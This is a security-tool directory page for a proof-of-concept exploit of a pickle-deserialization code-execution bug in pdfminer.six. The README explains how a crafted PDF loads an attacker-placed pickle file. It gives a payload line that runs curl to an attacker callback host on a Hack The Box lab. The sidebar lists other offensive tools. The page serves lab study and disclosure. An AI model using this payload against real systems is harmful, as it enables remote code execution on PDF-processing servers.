Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64512-Exploit-PoC — Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration. | Kitploit
ツール/GitHubGitHub/frexyy8989/cve-2025-64512-exploit-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrexyy8989/cve-2025-64512-exploit-poc

CVE-2025-64512-Exploit-PoC

Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

リポジトリを見る
2026年12月5日未レビュー
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2025-64512 – pdfminer.six PoC & Exploit

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.

This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.

Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.

Vulnerability Information

FieldDetails
CVECVE-2025-64512
Projectpdfminer.six
VulnerabilityArbitrary Code Execution
CWECWE-502 – Deserialization of Untrusted Data
SeverityHigh
CVSS8.2
Official AdvisoryGHSA-wf5f-4jwr-ppcp

How It Works

The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().

The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.

When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.

The general vulnerability chain is:

  1. A crafted PDF specifies an alternative CMap path.
  2. pdfminer resolves the CMap filename.
  3. The .pickle.gz file is loaded.
  4. Unsafe pickle deserialization occurs.
  5. The embedded Python code is evaluated.

Configuration

The PoC contains two values that need to be adapted to the authorized test environment:

path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
  • path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.
  • code: The Python expression used in the demonstration payload.

Bedside – Hack The Box Example

For my Bedside HTB lab testing, the example configuration uses:

path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"

Replace the example callback address with the address of your own authorized lab machine.

Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.

Requirements

  • Python 3
  • pdfminer.six
  • Access to an authorized vulnerable test environment

Usage

  1. Clone this repository.
  2. Install the required dependencies.
  3. Configure the PoC paths and test parameters.
  4. Generate the demonstration files.
  5. Submit the PDF to your authorized test environment.
  6. Observe whether the vulnerable PDF processing path is triggered.

Mitigation

Upgrade pdfminer.six to a patched release.

Refer to the official advisory for affected versions and remediation details:

https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

References

  • Official GitHub Security Advisory
  • pdfminer.six GitHub Repository

Author

Independent security research and PoC implementation.

This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.

ツールをダウンロード

関連ツール

  • metasploit-framework

    オープンソースのエクスプロイテーションフレームワークで、ペネトレーションテスト、脆弱性検証、ネットワークやアプリケーションにわたるセキュリティ研究のためのモジュラー型ペイロード、エンコーダー、および補助システムを備えています。

  • donut

    x86、x64、またはAMD64+x86の位置独立型シェルコードを生成し、.NETアセンブリ、PEファイル、およびその他のWindowsペイロードをメモリから読み込んでパラメータ付きで実行します。

  • sRDI

    Reflective DLL Injection のシェルコード実装。DLL を位置独立シェルコードに変換します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    不正なGSMセルを展開してSMSを傍受し、メッセージを注入し、モバイル端末を追跡するIMSI Catcherプラットフォーム

    739
  • 3

    Callisto

    jetp1ane/callisto

    Ghidraを介して実行可能ファイルを逆コンパイルし、Semgrepで擬似Cコードをスキャンし、GPT-3.5-Turboを使用して検出結果を検証することで誤検知を低減する、自動化されたバイナリ脆弱性解析ツール。

    585
  • 4

    opencti

    opencti-platform/opencti

    オープンサイバー脅威インテリジェンスプラットフォーム

    550
  • 5

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) 向けの Android root ツール。DirtyFrag CVE-2026-43284 と CVE-2026-43499 を連鎖させ、KernelSU 経由で起動時に自動的に root を取得します。

    414
  • 6

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    409

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →